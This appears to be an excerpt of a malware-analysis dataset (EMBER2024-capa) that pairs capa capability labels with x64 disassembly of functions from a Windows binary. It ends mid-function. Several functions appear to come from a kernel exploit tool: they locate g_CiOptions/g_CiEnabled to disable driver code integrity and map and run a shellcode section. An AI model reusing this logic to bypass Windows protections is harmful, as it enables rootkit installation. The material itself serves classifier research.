joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400219bf
Capabilities:
Access pe header
Enumerate pe sections

Disassembly:
jmp 0x140028e00
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
lea rcx, [0x140098341]
call fcn.140022068
nop
mov byte [rbp + 4], 0
mov rcx, qword [rbp + 0x190]
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x198], 0
je 0x140028e5a
mov rax, qword [rbp + 0x198]
mov dword [rax], 0
cmp qword [rbp + 0x68], 0
jne 0x140028e68
xor eax, eax
jmp 0x140028f1b
mov rax, qword [rbp + 0x68]
movzx eax, word [rax + 0x14]
mov rcx, qword [rbp + 0x68]
lea rax, [rcx + rax + 0x18]
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x68]
movzx eax, word [rax + 6]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jbe 0x140028ed3
mov eax, dword [rbp + 0x188]
mov rcx, qword [rbp + 0x88]
mov r8d, eax
mov rdx, qword [rbp + 0x180]
call fcn.14002167c
test eax, eax
jne 0x140028eb7
mov byte [rbp + 4], 1
jmp 0x140028ed3
mov eax, dword [rbp + 0x24]
dec eax
mov dword [rbp + 0x24], eax
mov rax, qword [rbp + 0x88]
add rax, 0x28
mov qword [rbp + 0x88], rax
jmp 0x140028e8b
movzx eax, byte [rbp + 4]
test eax, eax
jne 0x140028edf
xor eax, eax
jmp 0x140028f1b
mov rax, qword [rbp + 0x88]
mov eax, dword [rax + 0xc]
mov rcx, qword [rbp + 0x190]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x198], 0
je 0x140028f17
mov rax, qword [rbp + 0x198]
mov rcx, qword [rbp + 0x88]
mov ecx, dword [rcx + 8]
mov dword [rax], ecx
mov rax, qword [rbp + 0x48]
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret
Function at 0x1400219c9
Capabilities:
Access pe header

Disassembly:
jmp 0x1400234a0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x228
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x52
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x248]
lea rcx, [0x1400980d9]
call fcn.140022068
nop
mov qword [rbp + 8], 0
mov dword [rbp + 0x104], 0
mov rcx, qword [rbp + 0x220]
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov qword [rbp + 0x128], rax
cmp qword [rbp + 0x128], 0
jne 0x140023521
mov ecx, 0xc0000005
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop
xor eax, eax
jmp 0x1400236ef
mov rax, qword [rbp + 0x128]
movzx eax, word [rax + 4]
cmp eax, 0x8664
jne 0x14002355d
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x128]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rbp + 0x220]
add rcx, rax
mov rax, rcx
mov qword [rbp + 8], rax
jmp 0x1400235a9
mov rax, qword [rbp + 0x128]
movzx eax, word [rax + 4]
cmp eax, 0x14c
jne 0x140023596
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x128]
mov eax, dword [rcx + rax + 0x78]
mov rcx, qword [rbp + 0x220]
add rcx, rax
mov rax, rcx
mov qword [rbp + 8], rax
jmp 0x1400235a9
mov ecx, 0x65e
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop
xor eax, eax
jmp 0x1400236ef
mov rax, qword [rbp + 8]
mov eax, dword [rax + 0x20]
mov rcx, qword [rbp + 0x220]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 8]
mov eax, dword [rax + 0x24]
mov rcx, qword [rbp + 0x220]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x68], rax
mov dword [rbp + 0xe4], 0
mov rax, qword [rbp + 8]
mov eax, dword [rax + 0x18]
dec eax
mov dword [rbp + 0xc4], eax
mov eax, dword [rbp + 0xe4]
cmp dword [rbp + 0xc4], eax
jb 0x140023684
mov eax, dword [rbp + 0xc4]
mov ecx, dword [rbp + 0xe4]
add ecx, eax
mov eax, ecx
shr eax, 1
mov dword [rbp + 0x104], eax
mov eax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x48]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rbp + 0x220]
add rcx, rax
mov rax, rcx
mov rdx, rax
mov rcx, qword [rbp + 0x228]
call fcn.14002124e
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0
jge 0x140023664
mov eax, dword [rbp + 0x104]
dec eax
mov dword [rbp + 0xc4], eax
jmp 0x14002367f
cmp dword [rbp + 0xa4], 0
jle 0x14002367d
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0xe4], eax
jmp 0x14002367f
jmp 0x140023684
jmp 0x1400235f2
mov eax, dword [rbp + 0xe4]
cmp dword [rbp + 0xc4], eax
jae 0x140023696
xor eax, eax
jmp 0x1400236ef
mov eax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x68]
movzx eax, word [rcx + rax*2]
mov word [rbp + 0x24], ax
movzx eax, word [rbp + 0x24]
mov rcx, qword [rbp + 8]
cmp eax, dword [rcx + 0x14]
jb 0x1400236b9
xor eax, eax
jmp 0x1400236ef
mov rax, qword [rbp + 8]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rbp + 0x220]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
movzx eax, word [rbp + 0x24]
mov rcx, qword [rbp + 0x88]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rbp + 0x220]
add rcx, rax
mov rax, rcx
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140067c00]
call fcn.140021d8e
mov rax, rdi
lea rsp, [rbp + 0x208]
pop rdi
pop rbp
ret
Function at 0x140021a55
Capabilities:
Enumerate files on windows

Disassembly:
jmp 0x140026b70
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x248
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x52
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x268]
lea rcx, [0x140098341]
call fcn.140022068
nop
mov qword [rbp + 0x48], 0
cmp qword [rbp + 0x230], 0
jne 0x140026bd4
mov eax, 0xc00000f2
jmp 0x140026da3
mov dword [rbp + 0x64], 0xc0000001
cmp qword [rbp + 0x220], 0
je 0x140026c7c
mov edx, 0x10
lea rcx, [rbp + 0xf8]
call fcn.140021b9f
nop
mov rdx, qword [rbp + 0x220]
lea rcx, [rbp + 0xf8]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
nop
mov dword [rbp + 0xa8], 0x30
mov qword [rbp + 0xb0], 0
mov dword [rbp + 0xc0], 0x40
lea rax, [rbp + 0xf8]
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0xc8], 0
mov qword [rbp + 0xd0], 0
lea r8, [rbp + 0xa8]
mov edx, 1
lea rcx, [rbp + 0x48]
call qword [sym.imp.ntdll.dll_NtOpenDirectoryObject]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x140026c7a
mov eax, dword [rbp + 0x64]
jmp 0x140026da3
jmp 0x140026c9b
cmp qword [rbp + 0x228], 0
jne 0x140026c90
mov eax, 0xc00000f0
jmp 0x140026da3
mov rax, qword [rbp + 0x228]
mov qword [rbp + 0x48], rax
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
lea rax, [rbp + 0x24]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 4]
mov qword [rsp + 0x28], rax
mov byte [rsp + 0x20], 0
mov r9b, 1
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ntdll.dll_NtQueryDirectoryObject]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0xc0000023
je 0x140026ce3
jmp 0x140026d8e
mov eax, dword [rbp + 0x24]
mov ecx, eax
call fcn.140021956
mov qword [rbp + 0x128], rax
cmp qword [rbp + 0x128], 0
jne 0x140026d03
jmp 0x140026d8e
lea rax, [rbp + 0x24]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 4]
mov qword [rsp + 0x28], rax
mov byte [rsp + 0x20], 0
mov r9b, 1
mov r8d, dword [rbp + 0x24]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ntdll.dll_NtQueryDirectoryObject]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x140026d4a
mov rcx, qword [rbp + 0x128]
call fcn.140021203
nop
jmp 0x140026d8e
mov rdx, qword [rbp + 0x238]
mov rcx, qword [rbp + 0x128]
call qword [rbp + 0x230]
mov dword [rbp + 0x84], eax
mov rcx, qword [rbp + 0x128]
call fcn.140021203
nop
cmp dword [rbp + 0x84], 0
jl 0x140026d83
mov dword [rbp + 0x64], 0
jmp 0x140026d8e
xor eax, eax
cmp eax, 1
jne 0x140026ca2
cmp qword [rbp + 0x48], 0
je 0x140026da0
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ntdll.dll_NtClose]
nop
mov eax, dword [rbp + 0x64]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140068c10]
call fcn.140021d8e
mov rax, rdi
lea rsp, [rbp + 0x208]
pop rdi
pop rbp
ret
Function at 0x140021b09
Capabilities:
Get system information on windows

Disassembly:
jmp 0x140029670
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
lea rcx, [0x140098341]
call fcn.140022068
nop
cmp qword [rbp + 0x160], 0
je 0x1400296c7
mov rax, qword [rbp + 0x160]
mov byte [rax], 0
cmp qword [rbp + 0x168], 0
je 0x1400296db
mov rax, qword [rbp + 0x168]
mov byte [rax], 0
cmp qword [rbp + 0x170], 0
je 0x1400296ef
mov rax, qword [rbp + 0x170]
mov byte [rax], 0
mov dword [rbp + 0x68], 8
lea r9, [rbp + 0x24]
mov r8d, 8
lea rdx, [rbp + 0x68]
mov ecx, 0x67
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jl 0x1400297f0
mov eax, dword [rbp + 0x6c]
and eax, 1
test eax, eax
je 0x14002973e
mov eax, dword [rbp + 0x6c]
and eax, 0x400
test eax, eax
je 0x14002973e
mov dword [rbp + 0x134], 1
jmp 0x140029748
mov dword [rbp + 0x134], 0
movzx eax, byte [rbp + 0x134]
mov byte [rbp + 4], al
cmp qword [rbp + 0x160], 0
je 0x140029769
mov rax, qword [rbp + 0x160]
movzx ecx, byte [rbp + 4]
mov byte [rax], cl
cmp qword [rbp + 0x168], 0
je 0x1400297ae
movzx eax, byte [rbp + 4]
cmp eax, 1
jne 0x140029794
mov eax, dword [rbp + 0x6c]
and eax, 0x1000
test eax, eax
je 0x140029794
mov dword [rbp + 0x134], 1
jmp 0x14002979e
mov dword [rbp + 0x134], 0
mov rax, qword [rbp + 0x168]
movzx ecx, byte [rbp + 0x134]
mov byte [rax], cl
cmp qword [rbp + 0x170], 0
je 0x1400297ea
mov eax, dword [rbp + 0x6c]
and eax, 0x2000
test eax, eax
jbe 0x1400297d0
mov dword [rbp + 0x134], 1
jmp 0x1400297da
mov dword [rbp + 0x134], 0
mov rax, qword [rbp + 0x170]
movzx ecx, byte [rbp + 0x134]
mov byte [rax], cl
mov al, 1
jmp 0x140029804
mov ecx, dword [rbp + 0x44]
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlSetLastWin32Error]
nop
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140069380]
call fcn.140021d8e
mov rax, rdi
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret

Function at 0x140021b1d
Capabilities:
Set registry value

Disassembly:
jmp 0x140056dc0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x3e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x208]
lea rcx, [0x14009ac3a]
call fcn.140022068
nop
mov rdx, qword [rbp + 0x1d8]
lea rcx, [rbp + 0x28]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
nop
mov rdx, qword [rbp + 0x1e0]
lea rcx, [rbp + 0x60]
call fcn.14002127b
nop
lea rcx, [rbp + 0x60]
call fcn.140021357
lea rax, [rax + rax + 2]
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.ntdll.dll_NtSetValueKey]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14007f960]
call fcn.140021d8e
mov rax, rdi
lea rsp, [rbp + 0x1b8]
pop rdi
pop rbp
ret
Function at 0x140021b3b
Capabilities:
Delete file

Disassembly:
jmp 0x140054a20
mov byte [rsp + 0x10], dl
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1f8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x42
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x218]
lea rcx, [0x14009ac3a]
call fcn.140022068
nop
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov rcx, qword [rbp + 0x1e0]
call fcn.140021357
lea rax, [rax + rax + 0x800]
mov qword [rbp + 0xa8], rax
mov rcx, qword [rbp + 0xa8]
call fcn.1400212f3
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x140054ab6
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop
xor eax, eax
jmp 0x140054c2c
movzx eax, byte [rbp + 0x1e8]
test eax, eax
je 0x140054b20
mov rcx, qword [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 0xc8], rax
cmp qword [rbp + 0xc8], 0
je 0x140054b1b
mov r8d, 0x104
mov rdx, qword [rbp + 0x88]
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140054b1b
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [rbp + 4], eax
jmp 0x140054c1c
mov r8d, 0x104
mov rdx, qword [rbp + 0x88]
lea rcx, str._temp__
call fcn.14002160e
mov dword [rbp + 0xe4], eax
cmp dword [rbp + 0xe4], 0
je 0x140054b54
cmp dword [rbp + 0xe4], 0x104
jbe 0x140054b65
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop
jmp 0x140054c1c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 0x68], rax
mov byte [rsp + 0x20], 1
mov r9d, 0xf62e6ce0
lea r8, [rbp + 0x24]
mov rdx, qword [rbp + 0x68]
mov ecx, 0x7d1
call fcn.140021212
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
je 0x140054c10
mov rdx, qword [rbp + 0x1e0]
mov rcx, qword [rbp + 0x88]
call fcn.140021fbe
nop
mov eax, dword [rbp + 0x24]
mov qword [rbp + 0x1b8], rax
mov ecx, dword [rbp + 0x24]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 1
mov r8d, ecx
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x88]
call fcn.14002176c
mov rcx, qword [rbp + 0x1b8]
cmp rcx, rax
jne 0x140054c0e
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
test rax, rax
je 0x140054c0e
mov dword [rbp + 4], 1
jmp 0x140054c1c
mov ecx, 0x3ee
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop
mov rcx, qword [rbp + 0x88]
call fcn.140021ac8
nop
mov eax, dword [rbp + 4]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14007f810]
call fcn.140021d8e
mov rax, rdi
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret
Function at 0x140021b72
Capabilities:
Parse pe header

Disassembly:
jmp 0x14005fb80
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14005fba0
xor al, al
jmp 0x14005fc21
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14005fbb3
xor al, al
jmp 0x14005fc21
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14005fbdd
xor al, al
jmp 0x14005fc21
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14005fbf1
xor al, al
jmp 0x14005fc21
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14005fc03
xor al, al
jmp 0x14005fc21
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14005fc1f
xor al, al
jmp 0x14005fc21
mov al, 1
add rsp, 0x38
ret

Function at 0x140021bb8
Capabilities:
Map section object

Disassembly:
jmp 0x1400329b0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x198
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1b8]
lea rcx, [0x140098570]
call fcn.140022068
nop
mov dword [rbp + 0x24], 0
mov qword [rbp + 0x68], 0
lea rdx, [rbp + 0x24]
mov rax, qword [rbp + 0x160]
mov ecx, dword [rax + 8]
call fcn.1400214a6
nop
mov eax, dword [rbp + 0x24]
add rax, 0xfff
and rax, 0xfffffffffffff000
mov qword [rbp + 0x48], rax
mov dword [rsp + 0x48], 4
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 2
lea rax, [rbp + 0x48]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0x1000
xor r9d, r9d
lea r8, [rbp + 0x68]
mov rdx, 0xffffffffffffffff
mov rcx, qword [rbp + 0x168]
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x140032af2
mov rax, qword [rbp + 0x160]
mov eax, dword [rax + 8]
mov dword [rbp + 0x134], eax
cmp dword [rbp + 0x134], 1
je 0x140032ac4
cmp dword [rbp + 0x134], 2
je 0x140032aa8
cmp dword [rbp + 0x134], 3
je 0x140032ac4
jmp 0x140032ac4
mov rax, qword [rbp + 0x68]
mov r8, qword [rax + 0x10]
lea rdx, str.___Shellcode_result__system_worker:_0x_p_r_n
mov ecx, 2
call fcn.1400214bf
nop
jmp 0x140032ade
mov rax, qword [rbp + 0x68]
mov r8d, dword [rax + 8]
lea rdx, str.___Shellcode_result:_NTSTATUS__0x_lX__r_n
mov ecx, 2
call fcn.1400214bf
nop
mov rdx, qword [rbp + 0x68]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
nop
jmp 0x140032b08
mov r8d, dword [rbp + 4]
lea rdx, str.____Cannot_map_shellcode_section__NTSTATUS___lX__r_n
mov ecx, 1
call fcn.1400214bf
nop
lea rcx, [rbp - 0x50]
lea rdx, [0x1400702a0]
call fcn.140021d8e
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x140021c0d
Capabilities:
Disable driver code integrity
Get common file path

Disassembly:
jmp 0x140034fe0
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x758
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x13e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x778]
lea rcx, [0x140098675]
call fcn.140022068
nop
mov qword [rbp + 8], 0
mov qword [rbp + 0x48], 0
cmp dword [rbp + 0x750], 0x23f0
jae 0x14003504e
lea rax, str.ntoskrnl.exe
mov qword [rbp + 0x68], rax
lea rax, str.g_CiEnabled
mov qword [rbp + 0x88], rax
jmp 0x140035067
lea rax, str.CI.dll
mov qword [rbp + 0x68], rax
lea rax, str.g_CiOptions
mov qword [rbp + 0x88], rax
call fcn.14002159b
test eax, eax
jne 0x140035077
xor eax, eax
jmp 0x1400351c5
mov eax, 2
imul rax, rax, 0
xor ecx, ecx
mov word [rbp + rax + 0xd0], cx
mov edx, 0x104
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x1400350a7
xor eax, eax
jmp 0x1400351c5
lea rdx, [0x140071de8]
lea rcx, [rbp + 0xd0]
call fcn.140021fbe
nop
mov rdx, qword [rbp + 0x68]
lea rcx, [rbp + 0xd0]
call fcn.140021fbe
nop
mov r8d, 1
xor edx, edx
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
je 0x1400351a2
mov rdx, qword [rbp + 0x68]
lea rcx, str.___Module___ws__loaded_for_symbols_lookup_r_n
call fcn.140021f69
nop
call fcn.140022185
mov qword [rbp + 0x28], rax
xor r8d, r8d
mov rdx, qword [rbp + 0xa8]
mov rcx, qword [rbp + 0x68]
call fcn.140021aa5
test eax, eax
je 0x140035180
lea rdx, [rbp + 0x48]
mov rcx, qword [rbp + 0x88]
call fcn.14002216c
test eax, eax
je 0x14003516c
mov rax, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x28]
add rcx, rax
mov rax, rcx
sub rax, qword [rbp + 0xa8]
mov qword [rbp + 8], rax
mov r8, qword [rbp + 8]
lea rdx, str.___Symbol_resolved_to_0x_llX_address_r_n
mov ecx, 2
call fcn.1400214bf
nop
jmp 0x14003517e
lea rdx, str.____Unable_to_find_specified_symbol_r_n
mov ecx, 1
call fcn.1400214bf
nop
jmp 0x140035192
lea rdx, str.____Unable_to_load_symbols_for_file_r_n
mov ecx, 1
call fcn.1400214bf
nop
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
jmp 0x1400351c1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
mov r8, qword [rbp + 0x68]
lea rdx, str.____Could_not_load___ws___GetLastError__lu_r_n
mov ecx, 1
call fcn.1400214bf
nop
mov rax, qword [rbp + 8]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140071a30]
call fcn.140021d8e
mov rax, rdi
lea rsp, [rbp + 0x738]
pop rdi
pop rbp
ret
Function at 0x140021c26
Capabilities:
Access pe header

Disassembly:
jmp 0x140057050
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1c8
lea rbp, [rsp + 0x20]
lea rcx, [0x14009ac3a]
call fcn.140022068
nop
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
add rax, 0x18
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
cmp dword [rax + 0x6c], 1
ja 0x14005709e
jmp 0x14005720d
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 8]
mov eax, dword [rcx + rax + 0x70]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1400570bf
jmp 0x14005720d
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x1c0]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
cmp dword [rax], 0
jne 0x1400570fa
mov rax, qword [rbp + 0x68]
mov eax, dword [rax + 0x10]
mov rcx, qword [rbp + 0x1c0]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
jmp 0x140057114
mov rax, qword [rbp + 0x68]
mov eax, dword [rax]
mov rcx, qword [rbp + 0x1c0]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
mov dword [rbp + 0xc4], 0
jmp 0x140057140
mov eax, dword [rbp + 0xc4]
inc eax
mov dword [rbp + 0xc4], eax
mov rax, qword [rbp + 0x88]
add rax, 8
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x88]
cmp qword [rax], 0
je 0x14005720d
mov rax, qword [rbp + 0x68]
mov eax, dword [rax + 0x10]
mov rcx, qword [rbp + 0x1c0]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x88]
movabs rcx, 0x8000000000000000
mov rax, qword [rax]
and rax, rcx
test rax, rax
jne 0x1400571d4
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1c0]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xa8]
add rax, 2
mov r8, rax
mov rdx, qword [rbp + 0x1c8]
mov rcx, qword [rbp + 0x1d0]
call fcn.140022180
mov ecx, dword [rbp + 0xc4]
mov rdx, qword [rbp + 0x48]
mov qword [rdx + rcx*8], rax
jmp 0x140057208
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
and rax, 0xffff
mov r8, rax
mov rdx, qword [rbp + 0x1c8]
mov rcx, qword [rbp + 0x1d0]
call fcn.140022180
mov ecx, dword [rbp + 0xc4]
mov rdx, qword [rbp + 0x48]
mov qword [rdx + rcx*8], rax
jmp 0x140057120
lea rsp, [rbp + 0x1a8]
pop rdi
pop rbp
ret
Function at 0x140021d20
Capabilities:
Accept command line arguments

Disassembly:
jmp 0x1400531b0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x468
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xae
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x488]
lea rcx, [0x14009ac3a]
call fcn.140022068
nop
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rbp + 0x28], rax
mov dword [rbp + 0x294], 0
cmp qword [rbp + 0x470], 0
je 0x140053222
mov rax, qword [rbp + 0x470]
mov dword [rax], 0
mov edx, 0x20a
lea rcx, [rbp + 0x50]
call fcn.140021b9f
nop
lea rax, [rbp + 0x274]
mov qword [rsp + 0x20], rax
mov r9d, 0x104
lea r8, [rbp + 0x50]
mov edx, dword [rbp + 0x294]
mov rcx, qword [rbp + 0x28]
call fcn.140021f28
test eax, eax
je 0x1400532f1
cmp dword [rbp + 0x274], 0
jne 0x14005326c
jmp 0x1400532f1
mov rdx, qword [rbp + 0x450]
lea rcx, [rbp + 0x50]
call fcn.140021046
test eax, eax
jne 0x1400532de
cmp dword [rbp + 0x458], 0
je 0x1400532d7
mov eax, dword [rbp + 0x294]
inc eax
lea rcx, [rbp + 0x274]
mov qword [rsp + 0x20], rcx
mov r9d, dword [rbp + 0x468]
mov r8, qword [rbp + 0x460]
mov edx, eax
mov rcx, qword [rbp + 0x28]
call fcn.140021f28
mov dword [rbp + 4], eax
cmp qword [rbp + 0x470], 0
je 0x1400532d2
mov rax, qword [rbp + 0x470]
mov ecx, dword [rbp + 0x274]
mov dword [rax], ecx
mov eax, dword [rbp + 4]
jmp 0x1400532f3
mov eax, 1
jmp 0x1400532f3
mov eax, dword [rbp + 0x294]
inc eax
mov dword [rbp + 0x294], eax
jmp 0x140053231
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14007f170]
call fcn.140021d8e
mov rax, rdi
lea rsp, [rbp + 0x438]
pop rdi
pop rbp
ret

Function at 0x140021d25
Capabilities:
Access pe header

Disassembly:
jmp 0x1400548f0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x198
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x2e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1b8]
lea rcx, [0x14009ac3a]
call fcn.140022068
nop
mov dword [rbp + 0x24], 2
mov qword [rbp + 0x78], 0
